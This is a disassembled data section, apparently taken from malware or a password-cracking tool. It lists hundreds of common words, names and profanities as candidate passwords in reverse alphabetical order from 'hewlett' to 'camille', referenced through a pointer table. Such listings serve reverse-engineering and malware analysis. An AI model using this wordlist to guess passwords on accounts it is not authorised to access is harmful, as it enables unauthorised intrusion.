aHewlett	db 'hewlett',0          ; DATA XREF: .data:0042B088o
aHeroin		db 'heroin',0           ; DATA XREF: .data:0042B084o
		align 4
aHero		db 'hero',0             ; DATA XREF: .data:0042B080o
		align 10h
aHerbert	db 'herbert',0          ; DATA XREF: .data:0042B07Co
aHerb		db 'herb',0             ; DATA XREF: .data:0042B078o
		align 10h
aHelp		db 'help',0             ; DATA XREF: .data:0042B074o
		align 4
aHello		db 'hello',0            ; DATA XREF: .data:0042B070o
		align 10h
aHell		db 'hell',0             ; DATA XREF: .data:0042B06Co
		align 4
aHeinlein	db 'heinlein',0         ; DATA XREF: .data:0042B068o
		align 4
aHeidi		db 'heidi',0            ; DATA XREF: .data:0042B064o
		align 4
aHebrides	db 'hebrides',0         ; DATA XREF: .data:0042B060o
		align 4
aHeather	db 'heather',0          ; DATA XREF: .data:0042B05Co
aHeathen	db 'heathen',0          ; DATA XREF: .data:0042B058o
aHeat		db 'heat',0             ; DATA XREF: .data:0042B054o
		align 10h
aHeadbang	db 'headbang',0         ; DATA XREF: .data:0042B050o
		align 4
aHead		db 'head',0             ; DATA XREF: .data:0042B04Co
		align 4
aHawaii		db 'hawaii',0           ; DATA XREF: .data:0042B048o
		align 4
aHaven		db 'haven',0            ; DATA XREF: .data:0042B044o
		align 4
aHate		db 'hate',0             ; DATA XREF: .data:0042B040o
		align 4
aHarvey		db 'harvey',0           ; DATA XREF: .data:0042B03Co
		align 4
aHarold		db 'harold',0           ; DATA XREF: .data:0042B038o
		align 4
aHarmony	db 'harmony',0          ; DATA XREF: .data:0042B034o
aHarddriv	db 'harddriv',0         ; DATA XREF: .data:0042B030o
		align 10h
aHardcore	db 'hardcore',0         ; DATA XREF: .data:0042B02Co
		align 4
aHard		db 'hard',0             ; DATA XREF: .data:0042B028o
		align 4
aHappenin	db 'happenin',0         ; DATA XREF: .data:0042B024o
		align 10h
aHandjob	db 'handjob',0          ; DATA XREF: .data:0042B020o
aHandily	db 'handily',0          ; DATA XREF: .data:0042B01Co
aHandel		db 'handel',0           ; DATA XREF: .data:0042B018o
		align 4
aHamster	db 'hamster',0          ; DATA XREF: .data:0042B014o
aHamlet		db 'hamlet',0           ; DATA XREF: .data:0042B010o
		align 4
aHallowee	db 'hallowee',0         ; DATA XREF: .data:0042B00Co
		align 4
aHair		db 'hair',0             ; DATA XREF: .data:0042B008o
		align 4
aHagar		db 'hagar',0            ; DATA XREF: .data:0042B004o
		align 4
aHacked		db 'hacked',0           ; DATA XREF: .data:0042B000o
		align 4
aHack		db 'hack',0             ; DATA XREF: .data:0042AFFCo
		align 4
aGuntis		db 'guntis',0           ; DATA XREF: .data:0042AFF8o
		align 4
aGumption	db 'gumption',0         ; DATA XREF: .data:0042AFF4o
		align 4
aGuitar		db 'guitar',0           ; DATA XREF: .data:0042AFF0o
		align 10h
aGuess		db 'guess',0            ; DATA XREF: .data:0042AFECo
		align 4
aGucci		db 'gucci',0            ; DATA XREF: .data:0042AFE8o
		align 10h
aGuardian	db 'guardian',0         ; DATA XREF: .data:0042AFE4o
		align 4
aGryphon	db 'gryphon',0          ; DATA XREF: .data:0042AFE0o
aGroup		db 'group',0            ; DATA XREF: .data:0042AFDCo
		align 4
aGreen		db 'green',0            ; DATA XREF: .data:0042AFD8o
		align 4
aGreat		db 'great',0            ; DATA XREF: .data:0042AFD4o
		align 4
aGrant		db 'grant',0            ; DATA XREF: .data:0042AFD0o
		align 4
aGrand		db 'grand',0            ; DATA XREF: .data:0042AFCCo
		align 4
aGrahm		db 'grahm',0            ; DATA XREF: .data:0042AFC8o
		align 4
aGraham		db 'graham',0           ; DATA XREF: .data:0042AFC4o
		align 4
aGrades		db 'grades',0           ; DATA XREF: .data:0042AFC0o
		align 4
aGovermen	db 'govermen',0         ; DATA XREF: .data:0042AFBCo
		align 10h
aGouge		db 'gouge',0            ; DATA XREF: .data:0042AFB8o
		align 4
aGosling	db 'gosling',0          ; DATA XREF: .data:0042AFB4o
aGorges		db 'gorges',0           ; DATA XREF: .data:0042AFB0o
		align 4
aGorgeous	db 'gorgeous',0         ; DATA XREF: .data:0042AFACo
		align 4
aGood		db 'good',0             ; DATA XREF: .data:0042AFA8o
		align 4
aGolfer		db 'golfer',0           ; DATA XREF: .data:0042AFA4o
		align 4
aGolf		db 'golf',0             ; DATA XREF: .data:0042AFA0o
		align 4
aGolden		db 'golden',0           ; DATA XREF: .data:0042AF9Co
		align 4
aGold		db 'gold',0             ; DATA XREF: .data:0042AF98o
		align 4
aGlacier	db 'glacier',0          ; DATA XREF: .data:0042AF94o
aGirl		db 'girl',0             ; DATA XREF: .data:0042AF90o
		align 4
aGinger		db 'ginger',0           ; DATA XREF: .data:0042AF8Co
		align 4
aGina		db 'gina',0             ; DATA XREF: .data:0042AF88o
		align 4
aGigabyte	db 'gigabyte',0         ; DATA XREF: .data:0042AF84o
		align 4
aGibson		db 'gibson',0           ; DATA XREF: .data:0042AF80o
		align 10h
aGhost		db 'ghost',0            ; DATA XREF: .data:0042AF7Co
		align 4
aGertrude	db 'gertrude',0         ; DATA XREF: .data:0042AF78o
		align 4
aGerm		db 'germ',0             ; DATA XREF: .data:0042AF74o
		align 4
aGeorge		db 'george',0           ; DATA XREF: .data:0042AF70o
		align 4
aGauss		db 'gauss',0            ; DATA XREF: .data:0042AF6Co
		align 4
aGatt		db 'gatt',0             ; DATA XREF: .data:0042AF68o
		align 4
aGatherin	db 'gatherin',0         ; DATA XREF: .data:0042AF64o
		align 10h
aGateway	db 'gateway',0          ; DATA XREF: .data:0042AF60o
aGarfield	db 'garfield',0         ; DATA XREF: .data:0042AF5Co
		align 4
aGardner	db 'gardner',0          ; DATA XREF: .data:0042AF58o
aGames		db 'games',0            ; DATA XREF: .data:0042AF54o
		align 4
aGabriel	db 'gabriel',0          ; DATA XREF: .data:0042AF50o
aFungible	db 'fungible',0         ; DATA XREF: .data:0042AF4Co
		align 4
aFunction	db 'function',0         ; DATA XREF: .data:0042AF48o
		align 4
aFudge		db 'fudge',0            ; DATA XREF: .data:0042AF44o
		align 4
aFuckyou	db 'fuckyou',0          ; DATA XREF: .data:0042AF40o
aFuckme		db 'fuckme',0           ; DATA XREF: .data:0042AF3Co
		align 4
aFucking	db 'fucking',0          ; DATA XREF: .data:0042AF38o
aFucker		db 'fucker',0           ; DATA XREF: .data:0042AF34o
		align 4
aFuck		db 'fuck',0             ; DATA XREF: .data:0042AF30o
		align 4
aFryguy		db 'fryguy',0           ; DATA XREF: .data:0042AF2Co
		align 4
aFrog		db 'frog',0             ; DATA XREF: .data:0042AF28o
		align 4
aFrighten	db 'frighten',0         ; DATA XREF: .data:0042AF24o
		align 10h
aFriends	db 'friends',0          ; DATA XREF: .data:0042AF20o
aFriend		db 'friend',0           ; DATA XREF: .data:0042AF1Co
		align 10h
aFriday		db 'friday',0           ; DATA XREF: .data:0042AF18o
		align 4
aFrench		db 'french',0           ; DATA XREF: .data:0042AF14o
		align 10h
aFreedom	db 'freedom',0          ; DATA XREF: .data:0042AF10o
aFree		db 'free',0             ; DATA XREF: .data:0042AF0Co
		align 10h
aFred		db 'fred',0             ; DATA XREF: .data:0042AF08o
		align 4
aFreak		db 'freak',0            ; DATA XREF: .data:0042AF04o
		align 10h
aFrank		db 'frank',0            ; DATA XREF: .data:0042AF00o
		align 4
aFrance		db 'france',0           ; DATA XREF: .data:0042AEFCo
		align 10h
aFoxtrot	db 'foxtrot',0          ; DATA XREF: .data:0042AEF8o
aFourier	db 'fourier',0          ; DATA XREF: .data:0042AEF4o
aForsythe	db 'forsythe',0         ; DATA XREF: .data:0042AEF0o
		align 4
aFornicat	db 'fornicat',0         ; DATA XREF: .data:0042AEECo
		align 4
aFormat		db 'format',0           ; DATA XREF: .data:0042AEE8o
		align 10h
aForm		db 'form',0             ; DATA XREF: .data:0042AEE4o
		align 4
aForever	db 'forever',0          ; DATA XREF: .data:0042AEE0o
aForesigh	db 'foresigh',0         ; DATA XREF: .data:0042AEDCo
		align 4
aFord		db 'ford',0             ; DATA XREF: .data:0042AED8o
		align 4
aForce		db 'force',0            ; DATA XREF: .data:0042AED4o
		align 4
aFootball	db 'football',0         ; DATA XREF: .data:0042AED0o
		align 4
aFoolproo	db 'foolproo',0         ; DATA XREF: .data:0042AECCo
		align 4
aFool		db 'fool',0             ; DATA XREF: .data:0042AEC8o
		align 4
aFood		db 'food',0             ; DATA XREF: .data:0042AEC4o
		align 4
aFlowers	db 'flowers',0          ; DATA XREF: .data:0042AEC0o
aFlower		db 'flower',0           ; DATA XREF: .data:0042AEBCo
		align 4
aFlorida	db 'florida',0          ; DATA XREF: .data:0042AEB8o
aFloat		db 'float',0            ; DATA XREF: .data:0042AEB4o
		align 4
aFlakes		db 'flakes',0           ; DATA XREF: .data:0042AEB0o
		align 4
aFishers	db 'fishers',0          ; DATA XREF: .data:0042AEACo
aFirewall	db 'firewall',0         ; DATA XREF: .data:0042AEA8o
		align 10h
aFire		db 'fire',0             ; DATA XREF: .data:0042AEA4o
		align 4
aFinite		db 'finite',0           ; DATA XREF: .data:0042AEA0o
		align 10h
aFile		db 'file',0             ; DATA XREF: .data:0042AE9Co
		align 4
aFight		db 'fight',0            ; DATA XREF: .data:0042AE98o
		align 10h
aField		db 'field',0            ; DATA XREF: .data:0042AE94o
		align 4
aFidelity	db 'fidelity',0         ; DATA XREF: .data:0042AE90o
		align 4
aFerrari	db 'ferrari',0          ; DATA XREF: .data:0042AE8Co
aFermat		db 'fermat',0           ; DATA XREF: .data:0042AE88o
		align 4
aFender		db 'fender',0           ; DATA XREF: .data:0042AE84o
		align 4
aFelicia	db 'felicia',0          ; DATA XREF: .data:0042AE80o
aFeds		db 'feds',0             ; DATA XREF: .data:0042AE7Co
		align 4
aFear		db 'fear',0             ; DATA XREF: .data:0042AE78o
		align 4
aFast		db 'fast',0             ; DATA XREF: .data:0042AE74o
		align 4
aFart		db 'fart',0             ; DATA XREF: .data:0042AE70o
		align 4
aFaraday	db 'faraday',0          ; DATA XREF: .data:0042AE6Co
aFarad		db 'farad',0            ; DATA XREF: .data:0042AE68o
		align 4
aFamily		db 'family',0           ; DATA XREF: .data:0042AE64o
		align 4
aFalse		db 'false',0            ; DATA XREF: .data:0042AE60o
		align 4
aFalcon		db 'falcon',0           ; DATA XREF: .data:0042AE5Co
		align 4
aFaith		db 'faith',0            ; DATA XREF: .data:0042AE58o
		align 4
aFairway	db 'fairway',0          ; DATA XREF: .data:0042AE54o
aExtensio	db 'extensio',0         ; DATA XREF: .data:0042AE50o
		align 4
aExplosiv	db 'explosiv',0         ; DATA XREF: .data:0042AE4Co
		align 4
aExplorer	db 'explorer',0         ; DATA XREF: .data:0042AE48o
		align 10h
aExplore	db 'explore',0          ; DATA XREF: .data:0042AE44o
aExplode	db 'explode',0          ; DATA XREF: .data:0042AE40o
aExpert		db 'expert',0           ; DATA XREF: .data:0042AE3Co
		align 4
aEvelyn		db 'evelyn',0           ; DATA XREF: .data:0042AE38o
		align 10h
aEuclid		db 'euclid',0           ; DATA XREF: .data:0042AE34o
		align 4
aEternity	db 'eternity',0         ; DATA XREF: .data:0042AE30o
		align 4
aEstate		db 'estate',0           ; DATA XREF: .data:0042AE2Co
		align 4
aEstablis	db 'establis',0         ; DATA XREF: .data:0042AE28o
		align 4
aErsatz		db 'ersatz',0           ; DATA XREF: .data:0042AE24o
		align 10h
aErotic		db 'erotic',0           ; DATA XREF: .data:0042AE20o
		align 4
aErin		db 'erin',0             ; DATA XREF: .data:0042AE1Co
		align 10h
aErika		db 'erika',0            ; DATA XREF: .data:0042AE18o
		align 4
aErica		db 'erica',0            ; DATA XREF: .data:0042AE14o
		align 10h
aEric		db 'eric',0             ; DATA XREF: .data:0042AE10o
		align 4
aErenity	db 'erenity',0          ; DATA XREF: .data:0042AE0Co
aEnzyme		db 'enzyme',0           ; DATA XREF: .data:0042AE08o
		align 4
aEnterpri	db 'enterpri',0         ; DATA XREF: .data:0042AE04o
		align 4
aEnter		db 'enter',0            ; DATA XREF: .data:0042AE00o
		align 4
aEnglish	db 'english',0          ; DATA XREF: .data:0042ADFCo
aEngland	db 'england',0          ; DATA XREF: .data:0042ADF8o
aEngineer	db 'engineer',0         ; DATA XREF: .data:0042ADF4o
		align 4
aEngine		db 'engine',0           ; DATA XREF: .data:0042ADF0o
		align 10h
aEnemy		db 'enemy',0            ; DATA XREF: .data:0042ADECo
		align 4
aEmmanuel	db 'emmanuel',0         ; DATA XREF: .data:0042ADE8o
		align 4
aEmily		db 'emily',0            ; DATA XREF: .data:0042ADE4o
		align 4
aEmerald	db 'emerald',0          ; DATA XREF: .data:0042ADE0o
aEmail		db 'email',0            ; DATA XREF: .data:0042ADDCo
		align 4
aEllen		db 'ellen',0            ; DATA XREF: .data:0042ADD8o
		align 4
aElizabet	db 'elizabet',0         ; DATA XREF: .data:0042ADD4o
		align 10h
aElephant	db 'elephant',0         ; DATA XREF: .data:0042ADD0o
		align 4
aElectron	db 'electron',0         ; DATA XREF: .data:0042ADCCo
		align 4
aElanor		db 'elanor',0           ; DATA XREF: .data:0042ADC8o
		align 10h
aElaine		db 'elaine',0           ; DATA XREF: .data:0042ADC4o
		align 4
aEinstein	db 'einstein',0         ; DATA XREF: .data:0042ADC0o
		align 4
aEinsiein	db 'einsiein',0         ; DATA XREF: .data:0042ADBCo
		align 10h
aEileen		db 'eileen',0           ; DATA XREF: .data:0042ADB8o
		align 4
aEiderdow	db 'eiderdow',0         ; DATA XREF: .data:0042ADB4o
		align 4
aEgghead	db 'egghead',0          ; DATA XREF: .data:0042ADB0o
aEdwina		db 'edwina',0           ; DATA XREF: .data:0042ADACo
		align 4
aEdwin		db 'edwin',0            ; DATA XREF: .data:0042ADA8o
		align 4
aEducatio	db 'educatio',0         ; DATA XREF: .data:0042ADA4o
		align 4
aEducation	db 'education',0        ; DATA XREF: .data:0042ADA0o
		align 4
aEdition	db 'edition',0          ; DATA XREF: .data:0042AD9Co
aEdit		db 'edit',0             ; DATA XREF: .data:0042AD98o
		align 4
aEdinburg	db 'edinburg',0         ; DATA XREF: .data:0042AD94o
		align 10h
aEdges		db 'edges',0            ; DATA XREF: .data:0042AD90o
		align 4
aEddie		db 'eddie',0            ; DATA XREF: .data:0042AD8Co
		align 10h
aEcho		db 'echo',0             ; DATA XREF: .data:0042AD88o
		align 4
aEatme		db 'eatme',0            ; DATA XREF: .data:0042AD84o
		align 10h
aEasy		db 'easy',0             ; DATA XREF: .data:0042AD80o
		align 4
aEasier		db 'easier',0           ; DATA XREF: .data:0042AD7Co
		align 10h
aEarth		db 'earth',0            ; DATA XREF: .data:0042AD78o
		align 4
aEagle		db 'eagle',0            ; DATA XREF: .data:0042AD74o
		align 10h
aEager		db 'eager',0            ; DATA XREF: .data:0042AD70o
		align 4
aDyke		db 'dyke',0             ; DATA XREF: .data:0042AD6Co
		align 10h
aDungeon	db 'dungeon',0          ; DATA XREF: .data:0042AD68o
aDuncan		db 'duncan',0           ; DATA XREF: .data:0042AD64o
		align 10h
aDulce		db 'dulce',0            ; DATA XREF: .data:0042AD60o
		align 4
aDuke		db 'duke',0             ; DATA XREF: .data:0042AD5Co
		align 10h
aDuelist	db 'duelist',0          ; DATA XREF: .data:0042AD58o
aDude		db 'dude',0             ; DATA XREF: .data:0042AD54o
		align 10h
aDuck		db 'duck',0             ; DATA XREF: .data:0042AD50o
		align 4
aDrought	db 'drought',0          ; DATA XREF: .data:0042AD4Co
aDrive		db 'drive',0            ; DATA XREF: .data:0042AD48o
		align 4
aDrdoom		db 'drdoom',0           ; DATA XREF: .data:0042AD44o
		align 10h
aDragon		db 'dragon',0           ; DATA XREF: .data:0042AD40o
		align 4
aDownload	db 'download',0         ; DATA XREF: .data:0042AD3Co
		align 4
aDope		db 'dope',0             ; DATA XREF: .data:0042AD38o
		align 4
aDoors		db 'doors',0            ; DATA XREF: .data:0042AD34o
		align 4
aDoor		db 'door',0             ; DATA XREF: .data:0042AD30o
		align 4
aDoonesbu	db 'doonesbu',0         ; DATA XREF: .data:0042AD2Co
		align 4
aDoomsday	db 'doomsday',0         ; DATA XREF: .data:0042AD28o
		align 4
aDoomii		db 'doomii',0           ; DATA XREF: .data:0042AD24o
		align 4
aDoom2		db 'doom2',0            ; DATA XREF: .data:0042AD20o
		align 4
aDoom		db 'doom',0             ; DATA XREF: .data:0042AD1Co
		align 4
aDong		db 'dong',0             ; DATA XREF: .data:0042AD18o
		align 4
aDollar		db 'dollar',0           ; DATA XREF: .data:0042AD14o
		align 4
aDoctor		db 'doctor',0           ; DATA XREF: .data:0042AD10o
		align 4
aDisplay	db 'display',0          ; DATA XREF: .data:0042AD0Co
aDisney		db 'disney',0           ; DATA XREF: .data:0042AD08o
		align 4
aDiskette	db 'diskette',0         ; DATA XREF: .data:0042AD04o
		align 10h
aDisk_0		db 'disk',0             ; DATA XREF: .data:0042AD00o
		align 4
aDiscover	db 'discover',0         ; DATA XREF: .data:0042ACFCo
		align 4
aDisclose	db 'disclose',0         ; DATA XREF: .data:0042ACF8o
		align 10h
aDiscipli	db 'discipli',0         ; DATA XREF: .data:0042ACF4o
		align 4
aDisc		db 'disc',0             ; DATA XREF: .data:0042ACF0o
		align 4
aDirty		db 'dirty',0            ; DATA XREF: .data:0042ACECo
		align 4
aDirect		db 'direct',0           ; DATA XREF: .data:0042ACE4o
		align 4
aDipshit	db 'dipshit',0          ; DATA XREF: .data:0042ACE0o
aDinosaur	db 'dinosaur',0         ; DATA XREF: .data:0042ACDCo
		align 4
aDigital	db 'digital',0          ; DATA XREF: .data:0042ACD8o
aDieter		db 'dieter',0           ; DATA XREF: .data:0042ACD4o
		align 4
aDiet		db 'diet',0             ; DATA XREF: .data:0042ACD0o
		align 10h
aDiehard	db 'diehard',0          ; DATA XREF: .data:0042ACCCo
aDick		db 'dick',0             ; DATA XREF: .data:0042ACC8o
		align 10h
aDice		db 'dice',0             ; DATA XREF: .data:0042ACC4o
		align 4
aDiane		db 'diane',0            ; DATA XREF: .data:0042ACC0o
		align 10h
aDiana		db 'diana',0            ; DATA XREF: .data:0042ACBCo
		align 4
aDiamond	db 'diamond',0          ; DATA XREF: .data:0042ACB8o
aDial		db 'dial',0             ; DATA XREF: .data:0042ACB4o
		align 4
aDevice		db 'device',0           ; DATA XREF: .data:0042ACB0o
		align 10h
aDevelop	db 'develop',0          ; DATA XREF: .data:0042ACACo
aDesperat	db 'desperat',0         ; DATA XREF: .data:0042ACA8o
		align 4
aDesktop	db 'desktop',0          ; DATA XREF: .data:0042ACA4o
aDesk		db 'desk',0             ; DATA XREF: .data:0042ACA0o
		align 4
aDesiree	db 'desiree',0          ; DATA XREF: .data:0042AC9Co
aDennis		db 'dennis',0           ; DATA XREF: .data:0042AC98o
		align 4
aDenise		db 'denise',0           ; DATA XREF: .data:0042AC94o
		align 4
aDemocrat	db 'democrat',0         ; DATA XREF: .data:0042AC90o
		align 4
aDeluge		db 'deluge',0           ; DATA XREF: .data:0042AC8Co
		align 10h
aDelta		db 'delta',0            ; DATA XREF: .data:0042AC88o
		align 4
aDefoe		db 'defoe',0            ; DATA XREF: .data:0042AC84o
		align 10h
aDefault_0	db 'DEFAULT',0          ; DATA XREF: .data:0042AC80o
aDeck		db 'deck',0             ; DATA XREF: .data:0042AC78o
		align 10h
aDecember	db 'december',0         ; DATA XREF: .data:0042AC74o
		align 4
aDebug		db 'debug',0            ; DATA XREF: .data:0042AC70o
		align 4
aDeborah	db 'deborah',0          ; DATA XREF: .data:0042AC6Co
aDebbie		db 'debbie',0           ; DATA XREF: .data:0042AC68o
		align 4
aDeathsta	db 'deathsta',0         ; DATA XREF: .data:0042AC64o
		align 10h
aDead		db 'dead',0             ; DATA XREF: .data:0042AC60o
		align 4
aDawn		db 'dawn',0             ; DATA XREF: .data:0042AC5Co
		align 10h
aDave		db 'dave',0             ; DATA XREF: .data:0042AC58o
		align 4
aData		db 'data',0             ; DATA XREF: .data:0042AC54o
		align 10h
aDarkaven	db 'darkaven',0         ; DATA XREF: .data:0042AC50o
		align 4
aDark		db 'dark',0             ; DATA XREF: .data:0042AC4Co
		align 4
aDapper		db 'dapper',0           ; DATA XREF: .data:0042AC48o
		align 4
aDanny		db 'danny',0            ; DATA XREF: .data:0042AC44o
		align 4
aDanielle	db 'danielle',0         ; DATA XREF: .data:0042AC40o
		align 10h
aDaniel		db 'daniel',0           ; DATA XREF: .data:0042AC3Co
		align 4
aDancer		db 'dancer',0           ; DATA XREF: .data:0042AC38o
		align 10h
aDana		db 'dana',0             ; DATA XREF: .data:0042AC34o
		align 4
aDaisy		db 'daisy',0            ; DATA XREF: .data:0042AC30o
		align 10h
aDaemon		db 'daemon',0           ; DATA XREF: .data:0042AC2Co
		align 4
aCynthia	db 'cynthia',0          ; DATA XREF: .data:0042AC28o
aCyberspa	db 'cyberspa',0         ; DATA XREF: .data:0042AC24o
		align 4
aCyberpun	db 'cyberpun',0         ; DATA XREF: .data:0042AC20o
		align 4
aCyber		db 'cyber',0            ; DATA XREF: .data:0042AC1Co
		align 10h
aCustomer	db 'customer',0         ; DATA XREF: .data:0042AC18o
		align 4
aCunt		db 'cunt',0             ; DATA XREF: .data:0042AC14o
		align 4
aCshrc		db 'cshrc',0            ; DATA XREF: .data:0042AC10o
		align 4
aCrystal	db 'crystal',0          ; DATA XREF: .data:0042AC0Co
aCristina	db 'cristina',0         ; DATA XREF: .data:0042AC08o
		align 10h
aCriminal	db 'criminal',0         ; DATA XREF: .data:0042AC04o
		align 4
aCrime		db 'crime',0            ; DATA XREF: .data:0042AC00o
		align 4
aCretin		db 'cretin',0           ; DATA XREF: .data:0042ABFCo
		align 4
aCreosote	db 'creosote',0         ; DATA XREF: .data:0042ABF8o
		align 4
aCredit		db 'credit',0           ; DATA XREF: .data:0042ABF4o
		align 10h
aCreature	db 'creature',0         ; DATA XREF: .data:0042ABF0o
		align 4
aCreation	db 'creation',0         ; DATA XREF: .data:0042ABECo
		align 4
aCreate		db 'create',0           ; DATA XREF: .data:0042ABE8o
		align 10h
aCream		db 'cream',0            ; DATA XREF: .data:0042ABE4o
		align 4
aCrackpot	db 'crackpot',0         ; DATA XREF: .data:0042ABE0o
		align 4
aCrack		db 'crack',0            ; DATA XREF: .data:0042ABDCo
		align 4
aCowboy		db 'cowboy',0           ; DATA XREF: .data:0042ABD8o
		align 4
aCouscous	db 'couscous',0         ; DATA XREF: .data:0042ABD4o
		align 10h
aCountry	db 'country',0          ; DATA XREF: .data:0042ABD0o
aCounters	db 'counters',0         ; DATA XREF: .data:0042ABCCo
		align 4
aCorrect	db 'correct',0          ; DATA XREF: .data:0042ABC8o
aCorneliu	db 'corneliu',0         ; DATA XREF: .data:0042ABC4o
		align 4
aCopy		db 'copy',0             ; DATA XREF: .data:0042ABC0o
		align 10h
aCops		db 'cops',0             ; DATA XREF: .data:0042ABBCo
		align 4
aCopper		db 'copper',0           ; DATA XREF: .data:0042ABB8o
		align 10h
aCooper		db 'cooper',0           ; DATA XREF: .data:0042ABB4o
		align 4
aCool		db 'cool',0             ; DATA XREF: .data:0042ABB0o
		align 10h
aCookie		db 'cookie',0           ; DATA XREF: .data:0042ABACo
		align 4
aCookbook	db 'cookbook',0         ; DATA XREF: .data:0042ABA8o
		align 4
aCook		db 'cook',0             ; DATA XREF: .data:0042ABA4o
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_40CC09+1CD6o
					; .data:0042ABA0o
		align 4
aConsole	db 'console',0          ; DATA XREF: .data:0042AB9Co
aConserva	db 'conserva',0         ; DATA XREF: .data:0042AB98o
		align 4
aConnie		db 'connie',0           ; DATA XREF: .data:0042AB94o
		align 4
aCondom		db 'condom',0           ; DATA XREF: .data:0042AB8Co
		align 4
aCondo		db 'condo',0            ; DATA XREF: .data:0042AB88o
		align 4
aComrades	db 'comrades',0         ; DATA XREF: .data:0042AB84o
		align 10h
aComrade	db 'comrade',0          ; DATA XREF: .data:0042AB80o
aComputin	db 'computin',0         ; DATA XREF: .data:0042AB7Co
		align 4
aCompany	db 'company',0          ; DATA XREF: .data:0042AB78o
aCommrade	db 'commrade',0         ; DATA XREF: .data:0042AB74o
		align 4
aCommit		db 'commit',0           ; DATA XREF: .data:0042AB70o
		align 10h
aComics		db 'comics',0           ; DATA XREF: .data:0042AB6Co
		align 4
aCombat		db 'combat',0           ; DATA XREF: .data:0042AB68o
		align 10h
aColor		db 'color',0            ; DATA XREF: .data:0042AB64o
		align 4
aCollins	db 'collins',0          ; DATA XREF: .data:0042AB60o
aCold		db 'cold',0             ; DATA XREF: .data:0042AB5Co
		align 4
aCola		db 'cola',0             ; DATA XREF: .data:0042AB58o
		align 10h
aCoke		db 'coke',0             ; DATA XREF: .data:0042AB54o
		align 4
aCoin		db 'coin',0             ; DATA XREF: .data:0042AB50o
		align 10h
aCoffee		db 'coffee',0           ; DATA XREF: .data:0042AB4Co
		align 4
aCodeword	db 'codeword',0         ; DATA XREF: .data:0042AB48o
		align 4
aCodename	db 'codename',0         ; DATA XREF: .data:0042AB44o
		align 10h
aCode		db 'code',0             ; DATA XREF: .data:0042AB40o
		align 4
aCock		db 'cock',0             ; DATA XREF: .data:0042AB3Co
		align 10h
aCocainco	db 'cocainco',0         ; DATA XREF: .data:0042AB38o
		align 4
aCocacola	db 'cocacola',0         ; DATA XREF: .data:0042AB34o
		align 4
aCoast		db 'coast',0            ; DATA XREF: .data:0042AB30o
		align 10h
aClusters	db 'clusters',0         ; DATA XREF: .data:0042AB2Co
		align 4
aCluster	db 'cluster',0          ; DATA XREF: .data:0042AB28o
aClinton	db 'clinton',0          ; DATA XREF: .data:0042AB24o
aCleavage	db 'cleavage',0         ; DATA XREF: .data:0042AB20o
		align 4
aClaymore	db 'claymore',0         ; DATA XREF: .data:0042AB1Co
		align 4
aClaudia	db 'claudia',0          ; DATA XREF: .data:0042AB18o
aClassic	db 'classic',0          ; DATA XREF: .data:0042AB14o
aClasses	db 'classes',0          ; DATA XREF: .data:0042AB10o
aClass		db 'class',0            ; DATA XREF: .data:0042AB0Co
		align 4
aCindy		db 'cindy',0            ; DATA XREF: .data:0042AB08o
		align 4
aCigarett	db 'cigarett',0         ; DATA XREF: .data:0042AB04o
		align 4
aCigar		db 'cigar',0            ; DATA XREF: .data:0042AB00o
		align 10h
aChristy	db 'christy',0          ; DATA XREF: .data:0042AAFCo
aChristin	db 'christin',0         ; DATA XREF: .data:0042AAF8o
		align 4
aChris		db 'chris',0            ; DATA XREF: .data:0042AAF4o
		align 4
aChip		db 'chip',0             ; DATA XREF: .data:0042AAF0o
		align 4
aChester	db 'chester',0          ; DATA XREF: .data:0042AAECo
aChess		db 'chess',0            ; DATA XREF: .data:0042AAE8o
		align 4
aChemistr	db 'chemistr',0         ; DATA XREF: .data:0042AAE4o
		align 10h
aChem		db 'chem',0             ; DATA XREF: .data:0042AAE0o
		align 4
aChat_0		db 'chat',0             ; DATA XREF: .data:0042AADCo
		align 10h
aCharon		db 'charon',0           ; DATA XREF: .data:0042AAD8o
		align 4
aCharming	db 'charming',0         ; DATA XREF: .data:0042AAD4o
		align 4
aCharlie	db 'charlie',0          ; DATA XREF: .data:0042AAD0o
aCharles	db 'charles',0          ; DATA XREF: .data:0042AACCo
aCharity	db 'charity',0          ; DATA XREF: .data:0042AAC8o
aChange		db 'change',0           ; DATA XREF: .data:0042AAC4o
		align 4
aCerulean	db 'cerulean',0         ; DATA XREF: .data:0042AAC0o
		align 10h
aCeltics	db 'celtics',0          ; DATA XREF: .data:0042AABCo
aCeltic		db 'celtic',0           ; DATA XREF: .data:0042AAB8o
		align 10h
aCelt		db 'celt',0             ; DATA XREF: .data:0042AAB4o
		align 4
aCecily		db 'cecily',0           ; DATA XREF: .data:0042AAB0o
		align 10h
aCayuga		db 'cayuga',0           ; DATA XREF: .data:0042AAACo
		align 4
aCave		db 'cave',0             ; DATA XREF: .data:0042AAA8o
		align 10h
aCathy		db 'cathy',0            ; DATA XREF: .data:0042AAA4o
		align 4
aCatholic	db 'catholic',0         ; DATA XREF: .data:0042AAA0o
		align 4
aCatherin	db 'catherin',0         ; DATA XREF: .data:0042AA9Co
		align 10h
aCastle		db 'castle',0           ; DATA XREF: .data:0042AA98o
		align 4
aCash		db 'cash',0             ; DATA XREF: .data:0042AA94o
		align 10h
aCascades	db 'cascades',0         ; DATA XREF: .data:0042AA90o
		align 4
aCarson		db 'carson',0           ; DATA XREF: .data:0042AA8Co
		align 4
aCarrie		db 'carrie',0           ; DATA XREF: .data:0042AA88o
		align 4
aCaroline	db 'caroline',0         ; DATA XREF: .data:0042AA84o
		align 4
aCarolina	db 'carolina',0         ; DATA XREF: .data:0042AA80o
		align 4
aCarole		db 'carole',0           ; DATA XREF: .data:0042AA7Co
		align 4
aCarol		db 'carol',0            ; DATA XREF: .data:0042AA78o
		align 4
aCarmen		db 'carmen',0           ; DATA XREF: .data:0042AA74o
		align 4
aCarla		db 'carla',0            ; DATA XREF: .data:0042AA70o
		align 4
aCaren		db 'caren',0            ; DATA XREF: .data:0042AA6Co
		align 4
aCardinal	db 'cardinal',0         ; DATA XREF: .data:0042AA68o
		align 4
aCard		db 'card',0             ; DATA XREF: .data:0042AA64o
		align 10h
aCapture	db 'capture',0          ; DATA XREF: .data:0042AA60o
aCaptain	db 'captain',0          ; DATA XREF: .data:0042AA5Co
aCantor		db 'cantor',0           ; DATA XREF: .data:0042AA58o
		align 4
aCandy		db 'candy',0            ; DATA XREF: .data:0042AA54o
		align 10h
aCandi		db 'candi',0            ; DATA XREF: .data:0042AA50o
		align 4
aCamping	db 'camping',0          ; DATA XREF: .data:0042AA4Co
aCampanil	db 'campanil',0         ; DATA XREF: .data:0042AA48o
		align 4
aCamille	db 'camille',0          ; DATA XREF: .data:0042AA44o
